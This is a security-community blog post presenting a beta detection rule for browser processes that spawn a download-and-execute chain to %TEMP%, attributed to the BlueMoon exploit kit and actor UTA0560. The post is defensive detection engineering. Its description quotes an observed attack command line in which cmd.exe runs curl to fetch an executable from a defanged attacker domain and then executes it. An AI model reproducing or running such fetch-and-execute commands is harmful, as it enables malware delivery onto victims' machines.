Skip to main content
Blog

BETA DETECTION: Browser Process Spawning Download-and-Execute Chain to Temp Analytic

  • September 15, 2026
  • 0 replies
  • 2 views
Aaron Beardslee
Forum|alt.badge.img
name: 'Browser Process Spawning Download-and-Execute Chain to Temp Analytic'
signatureid: EDR-SYM972-RUN
category: 'Execution'
threatname: 'Exploitation for Client Execution'
functionality: 'Endpoint Management Systems'

description: |
Detects a Chromium-based browser process (chrome.exe, msedge.exe) spawning a command
interpreter or curl that downloads a file to %TEMP% and immediately executes it — the
pp-stage (final shellcode) behavior of the BlueMoon exploit kit, once CVE-2026-85046 (V8 type
confusion), CVE-2026-87491 (V8 sandbox escape), and CVE-2026-85880 (Windows ALPC privilege
escalation) have already broken out of the browser sandbox and elevated privileges. Per
Volexity, the download URL (the `exeurl` exploit-page parameter) is attacker-controlled at
runtime rather than hardcoded, so this behavioral pattern is far more durable than matching any
single payload domain or hash. Observed in UTA0560's campaign as:
`cmd.exe /c curl -f -sS -o "%TEMP%\msgbox.exe" "https://cloud[.]shinewrist[.]net/<path>/msgbox[.]exe" && "%TEMP%\msgbox.exe"`.
reference:
- https://www.volexity.com/blog/2026/09/09/mind-the-patch-gap-multiple-chinese-threat-actors-chain-0-day-exploits-in-chrome-windows/
- https://www.proofpoint.com/us/blog/threat-insight/once-bluemoon-multiple-state-aligned-threat-actors-rapidly-adopt-novel-exploit
labels:
- attack.execution
- attack.t1203
- attack.t1055
- attack.t1105
- BlueMoon
- UTA0560
- JungleBamboo
- CVE-2026-85046
- CVE-2026-87491
- CVE-2026-85880
- China
logsource:
category: process_creation
product: windows
detection:
selection_browser_parent:
ParentImage|endswith:
- '\chrome.exe'
- '\msedge.exe'
selection_child_interpreter:
Image|endswith:
- '\cmd.exe'
- '\curl.exe'
- '\powershell.exe'
selection_temp_download_execute:
ChildProcessCommandLine|contains: '%TEMP%'
ChildProcessCommandLine|contains:
- 'curl'
- '-o '
condition: selection_browser_parent and selection_child_interpreter and selection_temp_download_execute
criticality: Critical
saveasthreat: false

verbose_info: 'Browser process spawned a download-and-execute chain to %TEMP% on ${devicehostname!"UNKNOWN"}, consistent with BlueMoon pp-stage sandbox-escape injection'
violation_summary:
grouping_attribute: 'DeviceHostName'
level2_attribute: 'ParentImage'
level2_metadata_attributes:
- Image
- ChildProcessCommandLine
metadata_attributes:

TECHNICAL DETAILS

 

    Why this is the highest-fidelity signal in the campaign:
      Per Volexity's Key Takeaways, UTA0560 recompiled its dropper and loader within 48 hours of
      first use, but the browser-process-to-curl-to-TEMP pattern and the injection mechanism itself
      were unchanged. This is deliberately broader than a literal command-line match on
      "msgbox.exe" — it should also catch JungleBamboo's parallel campaign and any future BlueMoon
      customer reusing the same shellcode against a different final payload.

    Tuning guidance:
      - selection_child_interpreter includes powershell.exe as a corroborating option since some
        BlueMoon variants may substitute PowerShell's Invoke-WebRequest/iwr for curl; narrow to
        cmd.exe/curl.exe only if PowerShell-from-browser proves too noisy in this environment
        (e.g. browser-integrated PDF/print-to-PowerShell helper tooling).
      - Legitimate browser-initiated downloads-then-run flows (installer downloads a user
        double-clicks) do not match this pattern because they lack the parent-child
        automatic-execution relationship — the child process launches automatically via the
        `&&` chain, not via a separate user double-click event, so FP volume is expected to be low.
        Validate against the local browser-download-manager baseline before promoting to production.


Policy building walkthrough can be found in this previous post:

 

https://connect.securonix.com/threat%2Dresearch%2Dintelligence%2D62/beta%2Ddetection%2Dtelnyx%2Dteampcp%2Dcredential%2Dexfiltration%2D241